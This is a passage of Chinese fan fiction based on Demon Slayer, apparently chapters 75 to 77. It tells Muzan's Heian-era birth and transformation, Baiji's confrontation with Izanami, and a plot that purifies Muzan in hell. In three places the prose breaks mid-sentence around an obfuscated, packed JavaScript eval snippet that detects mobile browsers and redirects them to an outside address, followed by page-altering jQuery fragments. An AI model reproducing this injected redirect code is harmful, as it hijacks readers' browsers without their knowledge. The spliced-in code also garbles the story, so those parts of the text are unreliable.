“我不需要知道原因,只要找到青色彼岸花,一切问题就都能迎刃而解。”无惨大人深黯的竖瞳凝视着我,“而你上次答应我,会帮我寻找。” “我的确会帮您,但青色彼岸花这东西本身也有蹊跷之处。”我说,“您为什么那么相信,恰恰就是少的这一味药阻止您成为行走在阳光下的完美生物?如果那位医生想要治好您的病,他的目的必然在于让您以人类的身份活下去,而不是成为鬼吧?就算我们真的找到了那种花,您愿意冒着变回人类的风险吃下去吗?” 鬼王沉默了片刻,开口道:“就算没有青色彼岸花,只要将那对姓灶门的兄妹变成鬼吃掉,我就也能…” “他们为什么能克服阳光,您也不知道吧?”我皱眉道,“人变成鬼后能克服阳光,在我看来有很多种可能性,原因太过复杂,您为什么如此执着的相信,吃了那样的人就能让您也获得同样的能力?” 无惨大人的胸膛起伏了一下,像是在拼命压抑怒火。 “白姬小姐,你到底想说什么?我快要对你毫无道理的绕圈子感到厌烦了。” 我耐心地向他解释:“我说的很清楚,我要通过袚禊之法,来弄清您变成鬼的原因,也许如此我们就能找到使鬼之一族能行走在阳光下的办法。之前我对您说过,不论在什么情况下,希望您能信任我,您还记得吗?相信您也感受到那种黑色的东西减少了吧?” “的确,但你的法术让我变得虚弱,我讨厌这种感觉。” “因为地狱是信念的世界,您的怨念减少了,力量就会暂时变弱,但同样,只要离开地狱,您就能变回正常的鬼,而不是怨灵那种悲惨的存在。”我尽力安抚他的情绪,“哪一种更好,相信您很清楚。” “向我保证这是你最后一次考验我的耐心,白姬小姐。” “我保证。”我轻声说,“这是最后一次,大人。” 平安朝,天庆年间。 “听说了吗?正殿的那位夫人要生了。” “怎么挑了这么个时候?真是不吉利啊。” 几名女侍打扮的女子聚在一处灯光幽暗的角落,窃窃私语着。 “可不是嘛,正赶上东国的叛贼被诛杀,听说死了还要作祟,连陛下都受了惊吓呢。” “神社里都在禳灾祈福,那位反而要生了,她还真是一如既往的麻烦别人啊。” “别乱说话,再怎样那也是家主的正室夫人。”有个女子斥责道,“身为女侍,如此也太失礼了。” “正室怎么了?看她平日那副趾高气扬的样子,不就是橘氏的姬君,仗着檀林皇后的荫蔽么,可那都是什么年月的事了,现今橘氏在朝里早就没人了,否则就她那个脾气,还肯下嫁给产屋敷家?还不是她母家看咱们家主受内大臣的赏识?结果这么久都怀不上孩子,现在竟然还得了疯病,就该休了她。” “这就是你不懂了,那位当初可是京里出名的美人,咱们家主一见倾心呢。” “还不是因为嫁妆?毕竟橘氏别的没有,钱还是有的。“ “你们说,都这时辰了要生孩子,怕是冲撞了不祥之物吧?听说是从御灵会上回来就变得疯疯癫癫的,这生下来的,能是个什么东西?” “天都黑了,别说这种话啊,吓死人了!” 与这边的热闹相比,寝殿后搭起的产房里,女子凄惨的呻吟伴随着殿外僧众的木鱼声,形成了某种异常诡异的气氛。炉中熏着浓郁的寒梅香,却遮不住满室的血腥气。 几名女侍满脸是汗的忙碌着,塌上的贵族女子却明显已经脱了力,脸色白的如同死人,连垂下来的丝绳都抓不住了。 “阿…阿系…大人他…还没回来吗?”她气若游丝地说。 名唤阿系的侍女跪在地上恭敬地说:“北之方,宫中今夜有祈福法会,公卿们都去了,家主他一时赶不回来,但托人带了口信,说让夫人安心诞下小公子,不要多想别的。” “我都要死了…他也不回来见我…我就如此令他…厌恶吗?“女子如波浪般华丽的黑发全被汗水粘在脸上,一双秋水似的美眸中已然失了神,“他真以为我疯了…我心里明白的很…是淀姬他们害我…找人诅咒我…” “那是完全不可能的事,请您不要再说这样不吉利的话了。小公子已经快要降生了,请您再用点力气啊!” 女子的眼中渐渐有了一线生机,“只要我生下继承人…对,只要我给大人生下继承人…他就一定能回心转意…一定…” 话音终结在惨烈的尖叫里。 “小公子降生了!”有个女子叫道,“快派人去禀告大人!” 有人端来水盆,有人出去通知其他人。一阵混乱后,室内突然沉寂下来。 “为什么没有哭声…” 助产的女侍们围上去,一个个露出了惊恐又惋惜的表情,只有那榻上的女子颤巍巍地伸出了一只手: “给我看看…孩子…” “夫人…请夫人务必保重身体,小公子他…他没有呼吸了。” “不可能!”女子瞪圆了眼睛,“你是说我生的是个死胎吗?” 她不知哪来的力气,挣脱了想要搀扶她的女侍,扑到那团小小的白布前,看到了婴儿发青的脸。 “怎么可能…这是大人的嫡子…也是橘氏一族的希望…不可能是死胎…不可能…” “这是诅咒!一定是诅咒!”那女子抬起一张惨白的脸,状若疯癫,“快把这死胎扔出去!请阴阳师来!快呀!” 几名女侍显然吓坏了,跪伏在地上纷纷叩首,为首的一个鼓起勇气说:“北之方,请您振作一点!家主马上就回来了!即便…即便如此,这也是产屋敷家的小公子,要请寺院安排荼毗才是…” 然而那女子只是一味喃喃道:“我没有生下死胎…这不是我的孩子…是被诅咒的…扔出去…扔到河里去…” 为首的女侍向旁边的人使了个眼色:“快去把夫人的药拿来,她需要休息。” 一名小侍很快送来一碗墨色的药汁,女侍们哄着那女子服了药,又见她失去了意识,才小声议论起来。 “真是不吉利啊…竟然是个水灵子…” “都说是在御灵会上撞邪了,又生在这个时辰…这下要好好超度才行…” “都病成这样了,还想生什么继承人,夫人她真是可怜…” 产屋敷家主第二天清晨才返回家中,带来了寺庙的僧人。一群人在后院准备荼毗的柴堆,男人在犹豫片刻后,还是进了产房。 女子躺在塌上,无神的双眼在看到男人后,发出希望的光来。 “大人,大人…”她泣不成声地说,“我还能为您再生一个继承人,请相信德子,德子可以做到的…” 男人安抚地说:“夫人,请一定保重身体。继承人的事急也急不来,况且已经有了阿茂…” “那是阿淀生的!她毕竟是妾,生的不是您的嫡子啊!”女子急切地说,“请您不要把我休回娘家,我一定能…” “大人,大人!”门外突然跑来一名女侍,“您快去看看吧!小公子他…他…” 那分明是死产的婴儿,似乎是真的不甘心就这样被人世抛弃,在荼毗的柴堆上,发出了猫儿一般细弱的哭声。 人世的事往往就是这么喜忧参半。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252352|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这勉强从柴堆上保下一条命的小公子,身系产屋敷和橘氏两族的尊贵血脉,却是个先天不足的病秧子,虽然总是用药吊着口气,却被医师断言活不到元服之年,因此被迁往了别苑,连名字也没取。相比之下,妾室生下的几个孩子却都身体康健,活泼地长大了。 在小公子出生的第二年,曾是平安京第一美人、婚后却恶病缠身的德姬,终于撒手人寰。 贵族家的流言蜚语一向足以淹死人,平安京的大人小姐们又笃信灵异之说,不知从什么时候开始,“德姬夫人在御灵会上冲撞了邪祟,生的嫡子是不祥之人”的说法,开始在京里的大小茶会和狩猎会上流传开来。家中的仆役之间也开始有了种种传说,说那位住在别苑的小公子是和他母亲一样受了诅咒,虽然身体孱弱,脾气却乖戾暴躁,很是不好伺候,除了送药送饭,人人都避之不及。 平安朝的贵族盛行吃斋念佛,那小公子又身体虚弱,基本是被米汤喂大的,长到十几岁都还纤细苍白的像个姬君,大多数时间都在服药,只是随着年纪增长,展露出了那副继承自母亲的惊人美貌。 来来去去的人们也就开始议论,当真可惜了那张脸,要是有个健康的身子,加上源自橘氏的高贵血脉,说不准已是名动平安京的风流少年。可惜这位只能整天呆在屋里,骑射就不必谈了,连稍微着点风寒都咳到喘不上气,怕是真的命不久矣。 然而就像出生时一样,那位小公子的求生意志格外顽强,好几次病的就剩一口气,血都吐了一地,竟然硬撑着缓了过来,只是脾气越发的难以捉摸,发起疯来对人非打即骂。仆役们对他又厌又怕,面子上自然不敢表露,但那拐弯抹角越发露骨的讥讽嘲笑,却无时无刻不在宅邸里流传。 “正室生的有什么用,看那样子就活不久啊。” “家主早就立阿茂公子做继承人了,那位不会还以为自己是个什么人物吧?短命鬼一个。” “听说德姬夫人最初怀的就是个死胎,不知道被什么邪祟附体才又活了,真是太不吉利了,这样的怪物还是早点死掉比较好。” 这种流言自然也传到了家主耳中,可能是真的惧怕有什么东西作祟,产屋敷家主开始在京里遍寻通晓医术和阴阳术的大夫来为小公子诊治,但一次次都以失败告终。那脾气古怪的少年活是活到了元服的年纪,却连走到院子里都费劲,只能在天气好的时候坐在门口,看仆役家的小孩在庭院里唱着歌玩蹴鞠。 “大门外,挂松枝,挂呀挂,挂松枝;你拍二,我拍二,双叶松,绿莹莹,绿莹莹;三盖松,上总山,上总山…” 自降生人世以来,死亡如同刻印在骨髓里一般如影随形,唯一令他印象深刻的,就是从希望到绝望的一次次轮回,以及随之而来的恐惧,愤怒,屈辱和悲哀。 他不傻,心里清楚地知道因为经年累月的缠绵病榻,自己这个嫡子早就被家族视为弃子,乃至被下人们蔑视厌憎,这个家中不知有多少人在等他咽气。但他偏偏就不甘心去死,那强大到不顾一切的求生欲,让他在不知不觉中变成了连自己都无法想象的东西。 那一年秋天,有位医师应召而来。在见到这位小公子的一刻,这位实际隶属阴阳寮的“医师”就诊断出这不是单纯的先天不足,而是似乎真的有什么东西作祟。但刚按阴阳寮驱邪的药方给那小公子服用没多久,病势反而加重了,被疾病折磨的失去理智的小公子发疯般地砍死了医师,却发现自己非但没有死去,还一天天恢复了健康的体魄,然而,代价是惧怕阳光,以及无法克制的、吞噬人类血肉的渴望。 在强烈的求生欲和未完成的阴阳术的双重作用下,他变成了一种被后世之人称为“鬼”的存在。当时没人知道这是一种怎样的生物,以致在他血洗了整个别苑、隐匿于世间后,产屋敷家还以为是遭遇了什么野兽的袭击。直到族里新生的孩子皆早早夭折,继任的家主在不得已求助于神官后,才被告知那位自幼住在别苑的阴沉公子并没有死于“野兽”的袭击,而是真的变成了人神共愤的存在,神明因此而诅咒整个产屋敷家族,令其必须集全族之力,剿灭那不该存在于世的怪物,才能避免灭族的宿命。 注: *东国的叛贼:即平将门之乱。 *北之方:平安时代对贵族正妻的尊称。 *水灵子:死产的胎儿。 *御灵会:平安时代流行怨灵之说,因此天皇会让神社组织御灵会,安抚平安京的一大堆怨灵。 76. 无限(9) 命运确实是这样的东西,你越是渴望得到什么,它就越不给你,你越是心怀希望的时候,它就越喜欢看你绝望。 我不由得有点庆幸,同样被家族视为不祥之人,白姬却从未迷失自我,直到生命的最后一刻,她也还在祈愿着神明的救赎。 但这个后来彻底抛弃了产屋敷的姓氏、将自己命名为鬼舞辻无惨的男人,即便活了千年,也没有等到什么救赎。 我在“祓禊”之法所呈现的幻境中轻轻拿起了那张无惨大人执着了千年的药方,盯着最后那行字看了很久。 青色彼岸花。 隔了千年,那墨迹却还像新的一般,如果仔细观察,会发现这几个字写的比前面几行稍稍大了些,也略显潦草,应该是那位医师后添上的。可能正是这个缘故,无惨大人才能从一堆密密麻麻的药名中留意到这个词。 那位千年之前的医师,或者说阴阳师,为何在药方中加上了这味药,又为何是这样一个如同谜语般的花草名字。 我翻遍了头脑中所记得的青色的花,也没有这样一种。 一只洁白的手无声无息地从我手中抽走了那张纸,我心中一惊,立刻拔出刀来,指向那不知以什么手段侵入了我的法术的黑发少女。 上次见到她,还是我在与修罗院千越的对战中破坏了时轮时,所以时轮果然是某种法器,与这位潜藏在其背后、不知究竟怀有什么目的的神灵有关。 “白姬啊白姬,你为什么总在给我捣乱呀?” 看起来只有十四五岁的娇艳少女浮在半空中,身着华丽的十二单,轻轻晃动脚上的厚底木屐。 “我没杀你,是看在我们同为神灵的份上,可你一而再再而三的碍事,我可真要生气了。” “好久不见啊,阁下。”深知对方不是什么好对付的角色,我扯出个不要脸的笑容,“我还真是不知道,原以为您是鬼杀队那边的,结果怎么跟鬼王也有瓜葛?这倒是吓了我一跳。” “关你什么事呢?”少女居高临下地看着我,漆黑的眼睛像两个黑洞,“你身为神灵,明明随时可以离开地狱,到底为什么死赖着不走?” “因为我执念深重啊,和您一样。”我笑了笑,“阁下又是为什么,要介入产屋敷家和鬼王之间的这场千年恩怨呢?” “你在说什么呢,我听不懂。” “无惨大人变成了鬼之始祖,这和您有关吧?” “不要用这种没有根据的事来污蔑一位神灵,白姬,我在地狱很久了,比你想象的要久的多,人类的事我没有兴趣。” “如果真的没有兴趣,您就不会把我的御神体交给无惨大人,还向他泄露了我神灵的身份。” 我冲她露出狡黠的笑容,“我还没感谢您呢,伊奘冉尊…或许我该叫您…伊邪那美命?” 眼前的少女脸色一沉,四周骤然陷入一片深不见底的黑暗,只见那张姣好的面容变得如同死尸一般,上面爬满了蛆虫。 “不准再用那个名字叫我。”她的灵力浩大而可怖,压的我几乎无法呼吸,“你只是个小小的水神,凭什么在我面前如此猖狂?” “我的确只是个水神,不敢对您不敬!”我挣扎着说,“我只是好奇您为什么要帮无惨大人?把他从地狱最底层放出来的也是您吧?您既然让他找上我,就一定有您的用意,不说清楚,我们怎么合作呢?“ “谁要跟你合作了?”她狂笑起来,黑发像无数长蛇在虚空中飞舞,“不要那么自以为是,荒川之神,我再给你最后一次机会,离开地狱,或者灰飞烟灭,你没有和我谈条件的资格。” “我明白了。”我点点头,“但荒川是一条大河,主宰着江户城的命脉,对了,那里现在叫东京。如果我在这里灰飞烟灭,荒川要么断流,要么彻底失控,您确定天神们不会注意到您的所作所为?我知道神灵之间的规则,有些涉及世间因果的事,您不便直接插手,所以您选了无惨大人做您的棋子,正如对方选了产屋敷一样,我说的对吗?“ “白姬,你可真是胆大包天啊。” 顷刻之间,周遭的一切又恢复了平静,黑发少女脸上挂着微笑,像什么都没有发生过一样坐在幻境中的一架秋千上,手里拿着那张药方。 “我只是帮了这孩子,给了他救赎而已。神明的救赎,不是这些鬼最需要的么?” “您就是德姬夫人遇到的邪祟,是吗?”我轻声问。 她娇声笑起来:“别开玩笑了,让人发疯这种无聊的事我可没兴趣做,那女人只是中了曼陀罗花的毒罢了。但她生下的儿子倒确实是我最喜欢的那种体质,你知道的,有些人天生就适合用来做神明手中的刀,浪费了多可惜。” “但您并没有赢,是对方赢了。”我叹了口气,“倘若我求您放过无惨大人,您想必不会答应吧。” “白姬,你还年轻,神明们不在意一时的输赢,他们在意的是其他东西。”少女抿起嘴角,“我还没有玩够,你不要妨碍我。” “我当然不会妨碍您,但无惨大人已经不能再继续这场游戏了。”我说,“您已经毁了他的一生,让他变成了您这一局对弈的牺牲品,请不要再毁掉他重生的机会。” “毁掉他的难道不是产屋敷一族么?用毒药,用流言,还有人类的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252353|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他小伎俩。如果没有我帮忙,他那天生就中毒到内脏的身体,根本撑不到二十岁。” 古老的神明微笑着,像说起了什么有趣的事。 “我最喜欢平安京了,真是怀念啊…那里有足够多的怨恨和痛苦,足够多的阴谋和仇杀,人、神和鬼混在一起,连神明都分不清哪个是人,哪个是鬼。” 我直视着她:“您真会挑地方。所以青色彼岸花只是个谎言,对吗?” “谁知道那个阴阳师是怎么回事,为什么要写上那种莫名其妙的东西。”少女撇嘴,“不过效果不错,确确实实带来了一场千年的好戏。白姬,我要的只是开心罢了,我们神灵不都是如此么?你把鬼王带回人世去,算我欠你一个人情,如何?“ “您这是想让我当您的挡箭牌啊,伊奘冉尊。” “别说的那么难听嘛,你不是想救鬼吗?救哪个不是救?” “不一样的。”我摇头道,“我更看好童磨大人。” 黄泉津女神笑了起来:“那种来路不明、活着和死了都没区别的家伙,你到底是看中他哪点?白姬,别怪我没提醒你,如果不按我指的这条路走,就等于正面对抗天道,而你,只是个小小的水神。” “地狱里的天道,不过是被人类的怨恨所扭曲的低劣赝品罢了。”我朝她鞠躬道,“不过还是感谢您的提醒,我会向您证明我的选择是正确的。” “所以那人不是普通的医师,而是个阴阳师?” “是的,大人。”由于不确定在其他神灵的干涉下他到底看到了多少过去的事,我谨慎地开口,“您变成鬼,并非完全是药物的作用,而是阴阳术和您自身的缘故。所以您一直以来在药学领域里探寻不惧阳光的办法,可能…有些找错了方向。” 无惨大人似乎轻轻叹了口气,寒梅般的眼睛中闪现了一线狂热的光。 “白姬小姐,我之前说的没错,认识你能为我们双方都带来不少好处。”他嘴角勾起一丝微笑,“继续与我合作吧,看来以后少不了要和阴阳师这种老古董打交道了。” 他的眼神真的很像他母亲。我想。 哪怕是虚无缥缈的希望,也要紧紧抓住的、如同飞蛾扑火般的执着。 不过作为一只活了千年的鬼,竟然把阴阳师称为“老古董”,无惨大人还真是能迅速融入新的时代呢… 我点了点头:“我会继续与您合作的,但是在那之前…” “在那之前,我们有些小问题要先处理一下。” 无惨大人用戏谑的口吻说道。 “你打算把背叛我的人藏到什么时候呢,白姬小姐?” 77. 无限(10) 果然,没人逃得过命运。 我盯着眼前脸色苍白的人类少女,不由得暗暗叹息。 恋雪被她背后的少年毫不费力地禁锢住,像捉住了一只小鸟,睁大的樱粉色眼睛里满是眼泪。 “请你们放过狛治哥哥吧!他只是想作为人类活下去而已,你们想把我怎样都…” “恋雪!不准胡说!他们敢伤害你的话,我就算化作厉鬼也不会放过他们!” 名为狛治的少年手脚被冰莲蔓捆了个结结实实,但依然在拼命挣扎。 “诶呀呀,猗窝座阁下永远这么有精神~” 童磨在一旁笑嘻嘻地说,顺手用扇子在狛治的后颈轻轻拍了一下。 “阁下不要乱动哦,我的扇子可是很锋利的。您现在是人类,没有特殊关照的话,一不小心就会死呢。” “你这个骗子!我们竟然还相信过你!”狛治骂道,“童磨,你永远是个没心的恶鬼!吃女人的怪物!” “这话太让人伤心了,”鬼假惺惺地抹起眼泪,“都认识几百年了,您不会才知道我是什么样的人吧,作为朋友,本是应该彼此了解的呀。” 我无暇顾及他俩,转向了抓住恋雪的狯岳。 “狯岳,这姑娘是无辜的,对女孩子要温柔一点,你不懂吗?” 少年冷眼看着我,紧紧抿着嘴巴。 “是你把他俩的事告诉了无惨大人,对吗?”我轻声问。 “是我发现的,怎么了?“他冷冷地说,“作为上弦,我只忠于大人。” “小狯岳说的对呀!”童磨兴高采烈地接话,“咱们也不是第一天当鬼了,这点道理还是明白的,要我说,不如就让小狯岳接任猗窝座阁下的位置怎样?我个人是没有意见的哦~” “白姬小姐,我对背叛者一向深恶痛绝,你是知道的。” 无惨大人无视了这群吵吵嚷嚷的人和鬼,看着面前横亘在大地上的裂缝,语气冷漠地说道。 “我了解我所有的上弦,虽然其中总会有个别人克服不了身上那些属于人类的弱点,但大多数人无法反抗我,你知道是为什么吗?” “因为我给了他们最想要的东西,不止是永生,还有别的。” “他们是一群无法被世界认可的存在,哪怕不变成鬼,也是没有其他出路的。” “猗窝座,”他看向那个少年,“你当初全身是血的在街上游荡时,是谁救了你,你忘了吗?我满足了你成为强者的愿望,你就是这么报答我的?你太让我失望了。” “那根本不是拯救!”狛治怒吼道,“我本来已经报了仇,可以去见恋雪和师父了!是你让我失去记忆,沦为你的杀人工具!无惨,难道下了地狱还没有让你清醒一点吗?鬼是可悲的存在,是没有未来的!” “不需要你来告诉我鬼是怎样的存在,因为我比你清楚的多。”鬼王冷酷地宣告,“你这么想死,就去死好了。童磨,杀了他。” “等等!”我大声说,“无惨大人,打开‘门’离不开他们两个,您现在杀了他们,我们就谁也出不去了!” “哦?”鬼王微微眯起那双血眸,“这是什么意思,白姬小姐?” “因为这次的门,应该是为他们而开的。” 我垂下目光,“狛治阁下得到了所爱之人的救赎,灵魂已经变回了人类。他们本不属于地狱的这一层,是被您的执念召唤而来,只有那种执念消失,门才有开启的可能。” “这很容易,只要处置了猗窝座,我就自然不会再去计较他对我的背叛。”无惨大人难得慷慨地说,“这个人类小姑娘可以留给你,满足你作为神明那点虚伪的慈悲,如何,白姬小姐?” “请您再相信我一次,不能杀掉狛治阁下。”我坚持道,“况且他已经死过一次,来世不论选择做鬼还是做人,都是他的自由。” “我相信你的次数已经够多了,多到连你和背叛者私下来往,我都给予了宽容;多到我已经快要弄不清,这里到底谁的话才是绝对。” 鬼王一步步逼近了我,眼中似乎涌动着岩浆。 “我不会再容忍任何背叛者,一个珠世已经够了。而你,白姬小姐,我将你视为合作对象,这已经是我能给你的最高赏识了,如果你不想再合作,我也有很多种方法来实现我的愿望。一千年了,我不想再等了。” “这里只有我知道开门的方法,大人。”我低声说,“请您不要这样。” “吃了你,我就也能知道。” 毫无预兆的,他的一条手臂突然暴长,径直穿过了我的胸膛。 无惨脸上终于浮起了狰狞的神色:“只要吃了你,我就成了神明。你能完成的所有事,我也都能完成。你以为我真的需要合作者或者同类吗?我谁也不需要!” “您以为我是鬼吗?”感到他真的开始疯狂吸收我的血,我惋惜地说,“您错了,我是神明,没有我的允许,他人是无法使用我的力量的。您现在停手还来得及。” “放心吧,我会连同你的意志一起吸收,只要我…” “不可,大人。” 一个低沉的声音忽然在我身旁响起。紫衣的六目剑士不知何时半跪在那里,长发垂落下来,像一袭黑云。 “黑死牟,”无惨面无表情地看着他的上弦之壹,“连你也要背叛我吗?” 黑死牟大人纹丝不动,像是一座铁铸的雕像。 “身为武士…自当冒死劝谏主上。此事…实有内情,请您…停手吧。” 鬼王略略一怔,“内情?你指的是…” “黑死牟大人说的对呀。” 不知什么时候,童磨悄无声息地出现在了鬼王身后,似笑非笑地、好似耳语般的说道: “您怎么没有发现呢,大人?这孩子…” “是我的眷属哦。” “你在说什…” 无惨愕然地低下头,脸上骤然笼罩了极度的震惊。 一层白色的霜花,不知何时悄悄覆盖了他插进我胸口的手臂,正沿着他的身体迅速蔓延开来。那些混在我血液里的鬼血,已然侵入了他的灵体。 鬼王的反应也是极快的,下一刻,那只结冻了的手臂就自动炸成了一地碎片,他放弃了自己的肢体,但无数冰晶形成的莲花,像春天破土而出的青草那样破开了他的身体表面,招摇地冒了出来。 那些小小的冰莲看起来晶莹剔透,在黑暗中折射出五彩斑斓的光,但正因如此,这诡异的景象反而使人感受到极致的毛骨悚然。 盛怒之下,无惨一个转身,背后瞬间便伸展开八根奇特的、海葵触须似的管鞭,以几乎无法看清的速度一齐挥向他面前的童磨。 但他扑空了。 红衣的上弦恶鬼轻飘飘地再次晃到了他的身后,像一个幽灵。 “诶呀呀,您的脾气还是这么急躁,但好像慢了一点哦?是太久没有进食,还是太冷了呀?” 两道金色的流光以迅雷不及掩耳的速度贴着鬼王的身躯斩落,切断了全部管鞭。无惨疾速拉开了距离,与此同时,另一条手臂再次挥向了童磨。 这次童磨没有躲,那条手臂形成的刺鞭斜劈进他的左肩,大量的鬼血喷涌而出。然而恶鬼只是舔了舔溅到嘴角的血,露出了四颗獠牙。 “啊,大人您好像没法再生了呢,一定很痛苦吧?”他嘴角上挑,眼睛里却流下来两行泪,“好可怜,我这就干脆利落地结束您的痛苦哦。” 无惨眼中的狂怒逐渐被难以置信所取代,大概是因为他发现自己不仅无法拔出手臂,手臂还在不断被童磨吸收。 他喃喃道:“这不可能…你所有的血鬼术我都知道…” 童磨顿时哭得更委屈了:“真是的,我就说嘛,您从来都不关心人家,已经这么久了,都没有机会向您展示我最新的血鬼术呢,这个我之前也只用过一次,真的很好用哦~” 下一刻,他丢掉了所有的表情,虹霓般的眼睛里凝结着冰雪,像是某种不属于这个世界的奇特生物: “血鬼术·血池莲华。” 那些喷溅在鬼王手臂上的血液活了过来,从中生出了数十条暗红色的莲蔓,深深地刺进了无惨的灵体中,铺展开血脉般的根系,转瞬便在他的全身开出了一朵又一朵的红莲。 鬼王无法再切断自己肢体,那些莲花的根系像是以他为泥土,控制、吸取着他的全部。 完全没理会无惨惊惧交加的表情,童磨兴致勃勃地介绍起来: “这个结合了蔓莲华、冻云还有莲叶冰三种血鬼术的特性哦,之前在业火地狱那边的血池,我借助睡莲菩萨施展过一次,当时用起来还不太灵活,所以后来又进行了改进呢~怎么样怎么样,是不是很漂亮?您觉得这个如果用来对付猎鬼人,咱们赢的可能性是不是会大一些?还有什么不足的地方吗?大人您的建议,我一定会听哦!” 无惨大人只是木然地望着这位由他亲手转化为鬼的上弦之贰,像是不认识他一样: “童磨,你…才是真正的怪物。你二十岁变成鬼,我本来没有多期待你能有什么成就…可到底为什么,为什么唯独你…唯独你可以全身而退?” 鬼眨了眨眼,表情无比天真:“您又在说这种让人伤感的话了。这当然是因为我是被神明选中的人嘛,所以运气一向很好哦。二十岁时遇到了您,实在让我感动至极呢,之后变成鬼的两百年都过得非常幸福哦,所以真的很感谢您,而我也从来没有让您失望过,对吧大人?” 听了这番话,无惨大人的眼神变得极为复杂,夹杂了震惊、恼怒、不甘,以及一丝最终的释然,他叹息了一声。 “从知道你能在这里使用血鬼术,我就想到或许会有这么一天…这就是所谓的天命吧。童磨,我真是发自内心地厌恶你…但也不能不承认你作为鬼的天赋,继承我的意志,成为鬼之王吧!” 没想到那只鬼摇了摇头,微笑着说: “虽然这话有些失礼,但我对那种事没兴趣哦,您又不是不知道,我是万世极乐教的教主,我存在的使命正是帮助像您这样的可怜人嘛。无惨大人,死亡一点都不可怕,战败也没有什么好后悔的,咱们下次再见啦。” 无惨大人看起来整个人都茫然了,我只好走了过去。 “大人,请原谅我们的这点小手段。但要开启这边的‘门’,需要拥有产屋敷血脉的您的献身才行,我知道无论我怎么说,您都一定没法理解这件事,才和童磨大人一起想出了这个办法。虽然通过袚禊之法净化了您身上的怨气,但袚禊的最后一步,是丢弃作为‘替身’的人偶。请您将这具灵体当作‘替身’丢弃吧,我以神明之名向您保证,会带您一起回到人世,绝不会丢下您不管的。” 无惨大人,我听到了您心中一直在说的那句话。 从那个在荼毗的柴堆上挣扎着发出细弱哭声的婴儿,到产屋敷别苑中那个时刻徘徊在生死边缘的少年,到在生命的最后一刻向着灶门炭治郎伸出手的绝望鬼王,到堕入地狱后愤怒又不甘的、化为怨灵的您。 一直在说的,不过只有那一句话而已: ——不要走,不要丢下我一个人。 无惨大人,我们会满足您的心愿,也将代替您站上神明的祭坛,将这场游戏玩到终点。 我用灵力在虚空中画出金色的咒文: “沧龙·净!” 名为鬼舞辻无惨的男人就这样在血色莲华和金色灵光中化作了虚无。我不知道他能不能从此理解,生与死只是一道门相隔的两个世界,我们每个人都必须跨过那道门,才能迎来自己的新生。 就像人类变成鬼一样,忍耐过极致的痛苦,方能蜕变为全新的生命。 看着无惨大人的最后一片灵体消失在面前,我才放心的松了口气,转身向童磨伸出手。 “给我。” 鬼摆出一副天真无辜的样子,歪了歪头。 我仰头认真地盯着他:“给我,那个不能吃。” “真是的,都已经吃下去啦!”他抱怨起来,“哪有这样的道理嘛…” “撒谎的孩子吞千针哦,童磨大人。” 拗不过我,他磨磨蹭蹭极不情愿地把一颗暗红色的晶体放在我摊开的手掌上。 “我就知道童磨大人最棒了!”我赶紧夸他,“这个可是很重要的东西,以后我会补偿你的。” 捧着那颗晶体,我走到那位始终静默伫立在一旁树下的紫衣武士面前,郑重地半跪在地上。 “黑死牟大人,这是无惨大人最后的鬼血,已经经过了我的净化。而我会带着它一起返回人世,绝不食言。谢谢您托付给我和童磨的信任,也十分抱歉,让您违背了作为武士的义理,我永远不会忘记您的帮助。” 黑死牟大人只是沉默地点了点头,算作回应。 之前在告知上弦之壹我们的计划时,本来没有指望他真能理解我的那套因果之论,也深知他必定不喜我们的这种悖逆之举,因此我甚至做好了他会出手干涉的准备。 然而他没有。 童磨说的也许是对的,黑死牟大人,也不再是过去的黑死牟大人了。 “小染,那边的那几位,你准备怎么处理呀?再不管的话,小狯岳大概要被打死啦~” “啊啊啊我忘了!” 我冲过去,扔出一个水球砸在了狛治阁下头上,他本能地松开了手,被卡着脖子按在地上的狯岳才缓过一口气,脸色发黑地爬了起来。 我站在他面前,发现这男孩子其实比我还高出一点,已经是个大人了,没想到做事还是如此简单粗暴没心机。 “你骗我。”狯岳咬牙看着我,“这都是你们计划好的吧?” “我没骗你啊,”我插着腰,也学童磨的样子露出一副无辜的表情,“谁叫你自己不小心,别人故意卖个破绽给你,你就自己扑上去抓住不放啦?小狯岳,做鬼也没有那么简单的,前辈们做事的方法,你要学着点哟。” “你选择忠于无惨大人,我一点意见也没有。但下次在出卖熟悉的人之前,最好别那么着急,先等一等,看清形势再做决定。你还小,有的是时间磨练自己,好好努力吧。” 他瞪了我片刻,最终不解地问:“那个背叛者已经变成了人类,怎么还是那么强?” “那是因为你没有被猗窝座阁下打过,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252354|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道他的厉害,对吧猗窝座阁下?”童磨笑眯眯地走了过来,伸手想揽住那白衣服少年的肩膀,没料到对方一个敏捷的闪身,退到了恋雪身边,沉着脸抱起了她。 